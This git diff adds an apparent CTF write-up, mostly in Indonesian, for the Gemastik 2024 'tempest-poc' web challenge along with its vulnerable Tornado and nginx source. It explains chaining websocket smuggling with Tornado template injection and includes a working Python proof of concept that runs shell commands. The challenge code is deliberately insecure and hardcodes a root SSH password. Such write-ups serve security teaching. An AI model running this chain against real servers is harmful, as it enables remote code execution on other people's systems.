feat: added final gemastik
parent
d868d4c704
commit
cb510ea08a
|
@ -0,0 +1,8 @@
|
||||||
|
# Final Gemastik 2024
|
||||||
|
CTF writeup for Final Gemastik
|
||||||
|
|
||||||
|
| Category | Challenge |
|
||||||
|
| --- | --- |
|
||||||
|
| Web | [tempest-poc](/2024/Final%20Gemastik%202024/tempest-poc/)
|
||||||
|
|
||||||
|
> I didn't participate in gemastik at all (quals and final)
|
|
@ -0,0 +1,268 @@
|
||||||
|
# tempest-poc
|
||||||
|
> `-`
|
||||||
|
|
||||||
|
## About the Challenge
|
||||||
|
Kita mendapatkan source code yang dimana website terbagi menjadi 2 bagian yaitu `frontend` dan `backend`. Di backend menggunakan TornadoServer sebagai backend dan pada frontend digunakan static HTML. Kemudian web server yang digunakan adalah nginx.
|
||||||
|
|
||||||
|
Jika kita cek backendnya, terdapat 4 endpoints:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def make_app():
|
||||||
|
return tornado.web.Application([
|
||||||
|
(r"/api/public/ws/", WebSocketHandler),
|
||||||
|
(r"/api/public/startscan", StartScanHandler),
|
||||||
|
(r"/api/public/test", TestWebsiteHandler),
|
||||||
|
(r"/api/private/report", GenerateReportHandler)
|
||||||
|
])
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
app = make_app()
|
||||||
|
app.listen(5000)
|
||||||
|
tornado.ioloop.IOLoop.instance().start()
|
||||||
|
```
|
||||||
|
|
||||||
|
Berikut penjelasan tiap endpoints:
|
||||||
|
- `/api/public/ws/` digunakan untuk berinteraksi dengan websocket
|
||||||
|
- `/api/public/startscan` digunakan untuk melakukan "scanning" vulnerability
|
||||||
|
- `/api/public/test` digunakan untuk melakukan testing pada URL yang akan discan
|
||||||
|
- `/api/private/report` digunakan untuk meng"generate" report
|
||||||
|
|
||||||
|
Kurang lebih tampilan websitenya seperti ini
|
||||||
|
|
||||||
|
![preview](images/preview.png)
|
||||||
|
|
||||||
|
## How to Solve?
|
||||||
|
Jika dianalisis kembali source code websitenya, ada 1 fitur yang menarik perhatian saya, yaitu fitur untuk generate report:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Generate Report Endpoint (reads from the saved JSON report file)
|
||||||
|
class GenerateReportHandler(tornado.web.RequestHandler):
|
||||||
|
def get(self):
|
||||||
|
scan_id = self.get_argument("scan_id", None)
|
||||||
|
report_name = self.get_argument("report_name", "")
|
||||||
|
|
||||||
|
if not scan_id:
|
||||||
|
self.set_status(400)
|
||||||
|
self.write(json.dumps({"error": "Missing scan_id"}))
|
||||||
|
return
|
||||||
|
|
||||||
|
# File path for the report
|
||||||
|
report_file = f"report/{scan_id}.json"
|
||||||
|
|
||||||
|
# Check if the report file exists
|
||||||
|
if not os.path.exists(report_file):
|
||||||
|
self.set_status(404)
|
||||||
|
self.write(json.dumps({"error": f"Report for scan_id {scan_id} not found"}))
|
||||||
|
return
|
||||||
|
|
||||||
|
# Load the report data from the JSON file
|
||||||
|
with open(report_file, "r") as f:
|
||||||
|
scan_data = json.load(f)
|
||||||
|
|
||||||
|
# Read the HTML template from the file
|
||||||
|
with open("report_template.html", "r") as template:
|
||||||
|
report_template = template.read()
|
||||||
|
|
||||||
|
report_template = report_template.replace("<REPORT_NAME>", report_name)
|
||||||
|
|
||||||
|
# Dynamically render the report with scan data
|
||||||
|
self.write(tornado.template.Template(report_template).generate(
|
||||||
|
scan_id=scan_id,
|
||||||
|
scan_data=scan_data
|
||||||
|
))
|
||||||
|
```
|
||||||
|
|
||||||
|
Fungsi ini vulnerable terhadap SSTI, hal tersebut terjadi karena user input yang tidak disanitasi di "passed" kedalam template sebelum dirender
|
||||||
|
|
||||||
|
```python
|
||||||
|
report_template = report_template.replace("<REPORT_NAME>", report_name)
|
||||||
|
|
||||||
|
# Dynamically render the report with scan data
|
||||||
|
self.write(tornado.template.Template(report_template).generate(
|
||||||
|
scan_id=scan_id,
|
||||||
|
scan_data=scan_data
|
||||||
|
))
|
||||||
|
```
|
||||||
|
|
||||||
|
SSTI akan terjadi disaat penyerang menginput `{{__import__('os').popen('id').read()}}` pada parameter `report_name`. Namun, pada kasus ini kita tidak bisa langsung mengakses endpoint `/api/private/report`. Mari kita cek config nginx
|
||||||
|
|
||||||
|
```
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
|
||||||
|
location / {
|
||||||
|
root /usr/share/nginx/html;
|
||||||
|
index index.html;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Proxy for WebSocket and HTTP requests
|
||||||
|
location ~ ^/api/public {
|
||||||
|
proxy_pass http://tempest-poc:5000;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
|
||||||
|
# WebSocket-specific headers
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
|
||||||
|
# Conditionally set the Connection header
|
||||||
|
set $connection_upgrade '';
|
||||||
|
if ($http_upgrade) {
|
||||||
|
set $connection_upgrade 'Upgrade';
|
||||||
|
}
|
||||||
|
proxy_set_header Connection $connection_upgrade;
|
||||||
|
|
||||||
|
proxy_buffering off;
|
||||||
|
proxy_cache off;
|
||||||
|
|
||||||
|
# Optional: Increase timeouts to handle WebSocket connections
|
||||||
|
proxy_read_timeout 3600;
|
||||||
|
proxy_send_timeout 3600;
|
||||||
|
proxy_connect_timeout 3600;
|
||||||
|
|
||||||
|
# Additional headers to pass
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Website hanya akan mengakses backend jika url diawali dengan `/api/public`. Apa yang terjadi jika kita langsung mengakses endpoint `/api/private/report`?
|
||||||
|
|
||||||
|
![docker](images/docker.png)
|
||||||
|
|
||||||
|
Website tidak akan mengakses backend, melainkan akan mencari file bernama `/usr/share/nginx/html/api/private/report`. Yang berarti tantangan selanjutnya adalah bagaimana mengakses mengakses endpoint `/api/private/report` namun harus diawali dengan endpoint `/api/public`.
|
||||||
|
|
||||||
|
Pada awalnya ada beberapa cara yang saya coba untuk mengakses endpoint tersebut
|
||||||
|
- Dengan menggunakan path traversal seperti
|
||||||
|
```
|
||||||
|
/api/public/../private/report
|
||||||
|
/api/public/../../api/private/report
|
||||||
|
dst.
|
||||||
|
```
|
||||||
|
- Mencoba memanfaatkan `/api/public/test` dengan menginupt `http://tempest-poc:5000` pada form namun hal itu tidak mungkin karena terhalang fungsi `is_local_ip`
|
||||||
|
|
||||||
|
```python
|
||||||
|
def is_local_ip(ip, local_ips):
|
||||||
|
"""Check if the IP address is one of the local IP addresses of the server."""
|
||||||
|
try:
|
||||||
|
ip_obj = ipaddress.ip_address(ip)
|
||||||
|
return ip_obj in local_ips or ip_obj.is_loopback
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
- Mencoba memanfaatkan HTTP request smuggling
|
||||||
|
|
||||||
|
Dan tentu saja cara-cara diatas tidak berhasil dilakukan sampai kemudian saya menganalisis konfigurasi nginx sekali lagi.
|
||||||
|
|
||||||
|
```
|
||||||
|
# Proxy for WebSocket and HTTP requests
|
||||||
|
location ~ ^/api/public {
|
||||||
|
proxy_pass http://tempest-poc:5000;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
|
||||||
|
# WebSocket-specific headers
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
|
||||||
|
# Conditionally set the Connection header
|
||||||
|
set $connection_upgrade '';
|
||||||
|
if ($http_upgrade) {
|
||||||
|
set $connection_upgrade 'Upgrade';
|
||||||
|
}
|
||||||
|
proxy_set_header Connection $connection_upgrade;
|
||||||
|
```
|
||||||
|
|
||||||
|
Kenapa header `Upgrade` beserta `Connection` diset pada `/api/public*`? Sedangkan yang butuh header tersebut hanyalah endpoint `/api/public/ws/`. Setelah melakukan browsing mengenai request smuggling yang membutuhkan kedua header tersebut, saya menemukan vulnerability yang menarik yaitu `h2c smuggling` dan `websocket smuggling`
|
||||||
|
|
||||||
|
Yang pertama saya mencoba `h2c smuggling` dan hal tersebut gagal dikarenakan TornadoServer sendiri tidak support dengan [HTTP/2](https://github.com/tornadoweb/tornado/issues/1438). Kemudian saya beralih ke `websocket smuggling`.
|
||||||
|
|
||||||
|
`Websocket smuggling` sendiri memanfaatkan websocket tunnel untuk membypass limitasi dari web proxy (Nginx) dan penyerang bisa mengakses endpoint yang diinginkan
|
||||||
|
|
||||||
|
Berikut adalah alurnya:
|
||||||
|
|
||||||
|
![alur](images/alur.png)
|
||||||
|
|
||||||
|
1. Penyerang mengirimkan POST request ke endpoint `/api/public/test`, beserta header `Upgrade: websocket`. Nginx, yang berfungsi sebagai reverse proxy, mengira ini sebagai permintaan `Upgrade`, mengabaikan aspek lain dari request tersebut, dan langsung meneruskannya ke backend.
|
||||||
|
|
||||||
|
2. Di sisi backend, `/api/public/test` diexecute, tetapi saat berhubungan dengan website yang diinput penyerang (attacker.com) website tersebut mengirimkan HTTP response code 101. Ketika response ini diterima oleh backend dan diteruskan kembali ke Nginx, Nginx salah mengira bahwa koneksi Websocket sudah terbentuk karena hanya memeriksa dari HTTP response codenya saja.
|
||||||
|
|
||||||
|
Untuk lebih jelasnya bisa cek penjelasan milik [Mikhail Egorov](https://www.youtube.com/watch?v=gANzRo7UHt8) (Mulai pada menit ke 26:15)
|
||||||
|
|
||||||
|
Karena dari itu, saya membuat website menggunakan PHP dengan memanfaatkan fungsi `http_response_code` untuk mereturn HTTP response code 101
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
http_response_code(101);
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
Dan beruntung disini saya memiliki domain bernama `daffa.info` karena endpoint `/api/public/test` tidak menerima IP sama sekali
|
||||||
|
|
||||||
|
```python
|
||||||
|
# domain check
|
||||||
|
if not netloc.replace(".", "").isdigit():
|
||||||
|
# resolve the domain to ip
|
||||||
|
try:
|
||||||
|
ip = socket.gethostbyname(netloc)
|
||||||
|
except socket.gaierror:
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
Setelah server sudah selesai saya setup, kemudian saya menggunakan exploit websocket smuggling dari repository milik [Mikhail Egorov](https://github.com/0ang3el/websocket-smuggle). Berikut adalah final proof of conceptnya:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
|
||||||
|
req1 = b'''POST /api/public/test HTTP/1.1
|
||||||
|
Host: 127.0.0.1:80
|
||||||
|
Connection: Upgrade
|
||||||
|
Upgrade: websocket
|
||||||
|
Content-Type: application/json
|
||||||
|
Content-Length: 32
|
||||||
|
|
||||||
|
{"url":"http://daffa.info:8888"}'''
|
||||||
|
|
||||||
|
|
||||||
|
req2 = b'''GET /api/private/report?scan_id=8b46ca2d-57b7-432b-948b-6dfe69864414&report_name={{__import__('os').popen('id').read()}} HTTP/1.1
|
||||||
|
Host: tempest-poc:5000
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
def main(netloc):
|
||||||
|
host, port = netloc.split(':')
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.connect((host, int(port)))
|
||||||
|
|
||||||
|
# Send the first request
|
||||||
|
sock.sendall(req1)
|
||||||
|
sock.recv(4096)
|
||||||
|
|
||||||
|
# Send the second request and receive data
|
||||||
|
sock.sendall(req2)
|
||||||
|
data = sock.recv(4096)
|
||||||
|
data = data.decode(errors='ignore')
|
||||||
|
|
||||||
|
# Print the received data
|
||||||
|
print(data)
|
||||||
|
|
||||||
|
# Shutdown and close the socket
|
||||||
|
sock.shutdown(socket.SHUT_RDWR)
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main('127.0.0.1:80')
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes: Sebelum jalankan code diatas, jalankan "scanning" vulnerability terlebih dahulu untuk mendapatkan `scan_id`.
|
||||||
|
|
||||||
|
Berikut adalah responsenya
|
||||||
|
|
||||||
|
![rce](images/rce.png)
|
||||||
|
|
||||||
|
References:
|
||||||
|
- https://ajinabraham.com/blog/server-side-template-injection-in-tornado
|
||||||
|
- https://book.hacktricks.xyz/pentesting-web/h2c-smuggling
|
||||||
|
- https://www.youtube.com/watch?v=gANzRo7UHt8
|
||||||
|
- https://github.com/0ang3el/websocket-smuggle
|
Binary file not shown.
After Width: | Height: | Size: 186 KiB |
Binary file not shown.
After Width: | Height: | Size: 61 KiB |
Binary file not shown.
After Width: | Height: | Size: 227 KiB |
Binary file not shown.
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
@ -0,0 +1,34 @@
|
||||||
|
FROM public.ecr.aws/docker/library/python:3.11-slim-buster
|
||||||
|
|
||||||
|
ARG PASSWORD
|
||||||
|
|
||||||
|
RUN apt-get update
|
||||||
|
RUN apt-get install -y openssh-server curl nano cron
|
||||||
|
|
||||||
|
RUN echo root:${PASSWORD} | chpasswd
|
||||||
|
RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
|
||||||
|
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
|
||||||
|
RUN service ssh start
|
||||||
|
RUN useradd --user-group --system --create-home --no-log-init --shell /bin/bash ctf
|
||||||
|
|
||||||
|
WORKDIR /home/ctf/app
|
||||||
|
|
||||||
|
COPY requirements.txt .
|
||||||
|
RUN pip install -r ./requirements.txt && rm ./requirements.txt
|
||||||
|
|
||||||
|
COPY src/ .
|
||||||
|
RUN mkdir report
|
||||||
|
RUN chown -R ctf:ctf /home/ctf/app/report
|
||||||
|
COPY entrypoint.sh .
|
||||||
|
RUN chmod +x entrypoint.sh
|
||||||
|
|
||||||
|
# Add the cron job
|
||||||
|
RUN echo "*/5 * * * * find /home/ctf/app/report -type f -mmin +5 -exec rm -f {} \;" > /etc/cron.d/clean_report
|
||||||
|
|
||||||
|
# Give execution rights on the cron job
|
||||||
|
RUN chmod 0644 /etc/cron.d/clean_report
|
||||||
|
|
||||||
|
# Apply the cron job
|
||||||
|
RUN crontab /etc/cron.d/clean_report
|
||||||
|
|
||||||
|
ENTRYPOINT [ "./entrypoint.sh" ]
|
|
@ -0,0 +1,5 @@
|
||||||
|
#!/bin/bash
|
||||||
|
cron
|
||||||
|
/usr/sbin/sshd -D &
|
||||||
|
sleep 3
|
||||||
|
su ctf -c "python app.py"
|
|
@ -0,0 +1,4 @@
|
||||||
|
tornado
|
||||||
|
python-engineio
|
||||||
|
python-socketio
|
||||||
|
requests
|
|
@ -0,0 +1,251 @@
|
||||||
|
import tornado.ioloop
|
||||||
|
import tornado.web
|
||||||
|
import tornado.websocket
|
||||||
|
import tornado.gen
|
||||||
|
import threading
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import asyncio
|
||||||
|
import ipaddress
|
||||||
|
import socket
|
||||||
|
import random
|
||||||
|
import uuid
|
||||||
|
import os
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
import urllib3
|
||||||
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||||
|
|
||||||
|
# Dictionary to keep track of WebSocket clients
|
||||||
|
clients = {}
|
||||||
|
|
||||||
|
# Expanded templates for more diverse scan results
|
||||||
|
vulnerability_templates = [
|
||||||
|
{'template': 'CVE-2021-26855', 'severity': 'critical', 'description': 'Exchange Server SSRF vulnerability detected.'},
|
||||||
|
{'template': 'CVE-2021-34473', 'severity': 'high', 'description': 'ProxyShell vulnerability detected.'},
|
||||||
|
{'template': 'CVE-2021-34527', 'severity': 'critical', 'description': 'PrintNightmare vulnerability detected.'},
|
||||||
|
{'template': 'CVE-2020-1472', 'severity': 'critical', 'description': 'Zerologon vulnerability detected.'},
|
||||||
|
{'template': 'CVE-2019-19781', 'severity': 'medium', 'description': 'Citrix ADC Remote Code Execution detected.'},
|
||||||
|
{'template': 'CVE-2020-0601', 'severity': 'high', 'description': 'CryptoAPI Spoofing vulnerability detected.'},
|
||||||
|
{'template': 'CVE-2021-21972', 'severity': 'high', 'description': 'VMware vSphere Client RCE detected.'},
|
||||||
|
{'template': 'CVE-2017-11882', 'severity': 'medium', 'description': 'Microsoft Office Memory Corruption detected.'}
|
||||||
|
]
|
||||||
|
|
||||||
|
# Let's simulate a scan. We are not doing an actual scan on this PoC to prevent unnecessary problem in the network.
|
||||||
|
# For actual scanning it should be straight forward. We just need to run all the tools with subprocess, catch the results and send them to the client.
|
||||||
|
async def simulate_scan(target, ws_handler, scan_id):
|
||||||
|
ports = random.sample([22, 80, 443, 8080, 3306, 5432], random.randint(2, 4))
|
||||||
|
dummy_progress = [
|
||||||
|
"Initializing scan engine...",
|
||||||
|
"Checking for internet connectivity...",
|
||||||
|
"Loading vulnerability templates...",
|
||||||
|
f"Starting scan with scan_id {scan_id}...",
|
||||||
|
f"Target acquired: {target}",
|
||||||
|
f"Scanning target IP: {random.randint(100, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}",
|
||||||
|
f"Running OS fingerprinting...",
|
||||||
|
f"Port scan started on {target}...",
|
||||||
|
f"Detected services on ports: {ports}",
|
||||||
|
"Loading 15 vulnerability templates for scanning...",
|
||||||
|
"[info] Running template: CVE-2021-26855 (Exchange Server SSRF)",
|
||||||
|
"[info] Running template: CVE-2021-34473 (ProxyShell)",
|
||||||
|
"[info] Running template: CVE-2021-34527 (PrintNightmare)",
|
||||||
|
"[info] Running template: CVE-2020-1472 (Zerologon)",
|
||||||
|
"[info] Running template: CVE-2019-19781 (Citrix ADC Remote Code Execution)",
|
||||||
|
"[info] Running template: CVE-2020-0601 (CryptoAPI Spoofing)",
|
||||||
|
"[info] Running template: CVE-2021-21972 (VMware vSphere RCE)",
|
||||||
|
"[info] Running template: CVE-2017-11882 (Office Memory Corruption)",
|
||||||
|
"Analyzing detected vulnerabilities...",
|
||||||
|
"Compiling result..."
|
||||||
|
]
|
||||||
|
|
||||||
|
for progress in dummy_progress:
|
||||||
|
await asyncio.sleep(0.5)
|
||||||
|
try:
|
||||||
|
ws_handler.write_message(json.dumps({"event": "scan_progress", 'data': progress}))
|
||||||
|
except Exception:
|
||||||
|
print("WebSocket connection closed, cannot send progress.", flush=True)
|
||||||
|
|
||||||
|
# Emit the final scan results
|
||||||
|
try:
|
||||||
|
ws_handler.write_message(json.dumps({"event": "scan_result", 'data': f"Result saved to report/{scan_id}.json. Please contact admin for detailed report"}))
|
||||||
|
except Exception:
|
||||||
|
print("WebSocket connection closed, cannot send final result.", flush=True)
|
||||||
|
|
||||||
|
# Final results
|
||||||
|
dummy_results = random.sample(vulnerability_templates, random.randint(2, 5))
|
||||||
|
|
||||||
|
with open(f"report/{scan_id}.json", "w") as f:
|
||||||
|
json.dump(
|
||||||
|
{
|
||||||
|
"open_ports": [str(i) for i in ports],
|
||||||
|
"vulnerabilities": dummy_results,
|
||||||
|
"scan_status": "completed",
|
||||||
|
"scan_duration": f"{random.randint(1,10)} minutes"
|
||||||
|
}, f)
|
||||||
|
|
||||||
|
def start_scan_wrapper(target, ws_handler, scan_id):
|
||||||
|
loop = asyncio.new_event_loop()
|
||||||
|
asyncio.set_event_loop(loop)
|
||||||
|
|
||||||
|
loop.run_until_complete(simulate_scan(target, ws_handler, scan_id))
|
||||||
|
loop.close()
|
||||||
|
|
||||||
|
def get_local_ips():
|
||||||
|
"""Get a list of all local IP addresses of the server."""
|
||||||
|
local_ips = []
|
||||||
|
hostname = socket.gethostname()
|
||||||
|
for ip in socket.gethostbyname_ex(hostname)[2]:
|
||||||
|
local_ips.append(ipaddress.ip_address(ip))
|
||||||
|
return local_ips
|
||||||
|
|
||||||
|
def is_local_ip(ip, local_ips):
|
||||||
|
"""Check if the IP address is one of the local IP addresses of the server."""
|
||||||
|
try:
|
||||||
|
ip_obj = ipaddress.ip_address(ip)
|
||||||
|
return ip_obj in local_ips or ip_obj.is_loopback
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def validate_url(url):
|
||||||
|
parsed_url = urlparse(url)
|
||||||
|
if parsed_url.scheme != "http" and parsed_url.scheme != "https":
|
||||||
|
return False
|
||||||
|
|
||||||
|
local_ips = get_local_ips()
|
||||||
|
netloc = parsed_url.netloc.split(":")[0]
|
||||||
|
|
||||||
|
# domain check
|
||||||
|
if not netloc.replace(".", "").isdigit():
|
||||||
|
# resolve the domain to ip
|
||||||
|
try:
|
||||||
|
ip = socket.gethostbyname(netloc)
|
||||||
|
except socket.gaierror:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if is_local_ip(ip, local_ips):
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
# check if the ip is local
|
||||||
|
if is_local_ip(netloc, local_ips):
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
# WebSocket handler
|
||||||
|
class WebSocketHandler(tornado.websocket.WebSocketHandler):
|
||||||
|
def check_origin(self, origin):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def open(self):
|
||||||
|
self.cid = self.get_argument("client_id")
|
||||||
|
print("WebSocket opened", flush=True)
|
||||||
|
clients[self.cid] = self
|
||||||
|
|
||||||
|
def on_message(self, message):
|
||||||
|
print(f"Received message: {message}")
|
||||||
|
|
||||||
|
def on_close(self):
|
||||||
|
print("WebSocket closed", flush=True)
|
||||||
|
if self.cid in clients:
|
||||||
|
del clients[self.cid]
|
||||||
|
|
||||||
|
# Start scan endpoint
|
||||||
|
class StartScanHandler(tornado.web.RequestHandler):
|
||||||
|
def post(self):
|
||||||
|
data = json.loads(self.request.body)
|
||||||
|
target = data.get('target')
|
||||||
|
if not validate_url(target):
|
||||||
|
self.set_status(400)
|
||||||
|
self.write(json.dumps({'error': 'Invalid Target'}))
|
||||||
|
return
|
||||||
|
cid = data.get('client_id')
|
||||||
|
scan_id = str(uuid.uuid4())
|
||||||
|
|
||||||
|
if not target:
|
||||||
|
self.set_status(400)
|
||||||
|
self.finish(json.dumps({'error': 'No target provided'}))
|
||||||
|
elif cid not in clients:
|
||||||
|
self.set_status(400)
|
||||||
|
self.finish(json.dumps({'error': 'Invalid client ID'}))
|
||||||
|
else:
|
||||||
|
# Simulate the scan in a background thread
|
||||||
|
threading.Thread(target=start_scan_wrapper, args=(target, clients[cid], scan_id)).start()
|
||||||
|
self.write(json.dumps({'status': 'scanning started', 'scan_id': scan_id}))
|
||||||
|
|
||||||
|
# Test website handler (GET/POST)
|
||||||
|
class TestWebsiteHandler(tornado.web.RequestHandler):
|
||||||
|
def post(self):
|
||||||
|
data = json.loads(self.request.body)
|
||||||
|
url = data.get('url')
|
||||||
|
if not url:
|
||||||
|
self.set_status(400)
|
||||||
|
self.write(json.dumps({'error': 'No URL provided'}))
|
||||||
|
return
|
||||||
|
|
||||||
|
self.check_url_alive(url)
|
||||||
|
|
||||||
|
def check_url_alive(self, url):
|
||||||
|
try:
|
||||||
|
if not validate_url(url):
|
||||||
|
self.set_status(400)
|
||||||
|
self.write(json.dumps({'error': 'Invalid Target'}))
|
||||||
|
return
|
||||||
|
|
||||||
|
# cleanup url
|
||||||
|
parsed_url = urlparse(url)
|
||||||
|
cleaned_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
|
||||||
|
|
||||||
|
# Check if the URL is alive
|
||||||
|
response = requests.get(cleaned_url, allow_redirects=False, verify=False, timeout=10)
|
||||||
|
self.set_status(response.status_code)
|
||||||
|
self.finish()
|
||||||
|
except requests.RequestException:
|
||||||
|
self.set_status(500)
|
||||||
|
self.finish()
|
||||||
|
|
||||||
|
# Generate Report Endpoint (reads from the saved JSON report file)
|
||||||
|
class GenerateReportHandler(tornado.web.RequestHandler):
|
||||||
|
def get(self):
|
||||||
|
scan_id = self.get_argument("scan_id", None)
|
||||||
|
report_name = self.get_argument("report_name", "")
|
||||||
|
|
||||||
|
if not scan_id:
|
||||||
|
self.set_status(400)
|
||||||
|
self.write(json.dumps({"error": "Missing scan_id"}))
|
||||||
|
return
|
||||||
|
|
||||||
|
# File path for the report
|
||||||
|
report_file = f"report/{scan_id}.json"
|
||||||
|
|
||||||
|
# Check if the report file exists
|
||||||
|
if not os.path.exists(report_file):
|
||||||
|
self.set_status(404)
|
||||||
|
self.write(json.dumps({"error": f"Report for scan_id {scan_id} not found"}))
|
||||||
|
return
|
||||||
|
|
||||||
|
# Load the report data from the JSON file
|
||||||
|
with open(report_file, "r") as f:
|
||||||
|
scan_data = json.load(f)
|
||||||
|
|
||||||
|
# Read the HTML template from the file
|
||||||
|
with open("report_template.html", "r") as template:
|
||||||
|
report_template = template.read()
|
||||||
|
|
||||||
|
report_template = report_template.replace("<REPORT_NAME>", report_name)
|
||||||
|
|
||||||
|
# Dynamically render the report with scan data
|
||||||
|
self.write(tornado.template.Template(report_template).generate(
|
||||||
|
scan_id=scan_id,
|
||||||
|
scan_data=scan_data
|
||||||
|
))
|
||||||
|
|
||||||
|
def make_app():
|
||||||
|
return tornado.web.Application([
|
||||||
|
(r"/api/public/ws/", WebSocketHandler),
|
||||||
|
(r"/api/public/startscan", StartScanHandler),
|
||||||
|
(r"/api/public/test", TestWebsiteHandler),
|
||||||
|
(r"/api/private/report", GenerateReportHandler)
|
||||||
|
])
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
app = make_app()
|
||||||
|
app.listen(5000)
|
||||||
|
tornado.ioloop.IOLoop.instance().start()
|
|
@ -0,0 +1,60 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Scan Report</title>
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container mt-5">
|
||||||
|
<h1 class="text-center">Scan Report <REPORT_NAME></h1>
|
||||||
|
<table class="table table-bordered mt-3">
|
||||||
|
<thead class="thead-dark">
|
||||||
|
<tr>
|
||||||
|
<th scope="col">Attribute</th>
|
||||||
|
<th scope="col">Details</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<td><strong>Scan ID</strong></td>
|
||||||
|
<td>{{ scan_id }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td><strong>Open Ports</strong></td>
|
||||||
|
<td>{{ ','.join(scan_data["open_ports"]) }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td><strong>Scan Status</strong></td>
|
||||||
|
<td>{{ scan_data["scan_status"] }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td><strong>Scan Duration</strong></td>
|
||||||
|
<td>{{ scan_data["scan_duration"] }}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h2 class="mt-5">Vulnerabilities</h2>
|
||||||
|
<table class="table table-bordered mt-3">
|
||||||
|
<thead class="thead-dark">
|
||||||
|
<tr>
|
||||||
|
<th scope="col">Template</th>
|
||||||
|
<th scope="col">Severity</th>
|
||||||
|
<th scope="col">Description</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{% for vuln in scan_data["vulnerabilities"] %}
|
||||||
|
<tr>
|
||||||
|
<td>{{ vuln["template"] }}</td>
|
||||||
|
<td>{{ vuln["severity"] }}</td>
|
||||||
|
<td>{{ vuln["description"] }}</td>
|
||||||
|
</tr>
|
||||||
|
{% end %}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -0,0 +1,22 @@
|
||||||
|
version: '3'
|
||||||
|
|
||||||
|
services:
|
||||||
|
tempest-poc:
|
||||||
|
build:
|
||||||
|
context: ./backend
|
||||||
|
args:
|
||||||
|
- PASSWORD=anotherrandompassword
|
||||||
|
networks:
|
||||||
|
- app-network
|
||||||
|
|
||||||
|
frontend:
|
||||||
|
build:
|
||||||
|
context: ./frontend
|
||||||
|
ports:
|
||||||
|
- "80:80"
|
||||||
|
networks:
|
||||||
|
- app-network
|
||||||
|
|
||||||
|
networks:
|
||||||
|
app-network:
|
||||||
|
driver: bridge
|
|
@ -0,0 +1,9 @@
|
||||||
|
FROM public.ecr.aws/nginx/nginx:alpine
|
||||||
|
|
||||||
|
RUN rm /etc/nginx/conf.d/default.conf
|
||||||
|
|
||||||
|
COPY nginx.conf /etc/nginx/conf.d/
|
||||||
|
|
||||||
|
COPY . /usr/share/nginx/html
|
||||||
|
|
||||||
|
EXPOSE 80
|
|
@ -0,0 +1,24 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Tempest | Futuristic Website Scanner</title>
|
||||||
|
<link rel="stylesheet" href="static/css/styles.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<h1>Tempest PoC</h1>
|
||||||
|
<div class="input-group">
|
||||||
|
<input type="url" id="target" placeholder="Enter target URL" required>
|
||||||
|
</div>
|
||||||
|
<div class="button-group">
|
||||||
|
<button id="testConnection">Test Connection</button>
|
||||||
|
<button id="startScan" disabled>Start Scan</button>
|
||||||
|
</div>
|
||||||
|
<div id="statusAndResults"></div>
|
||||||
|
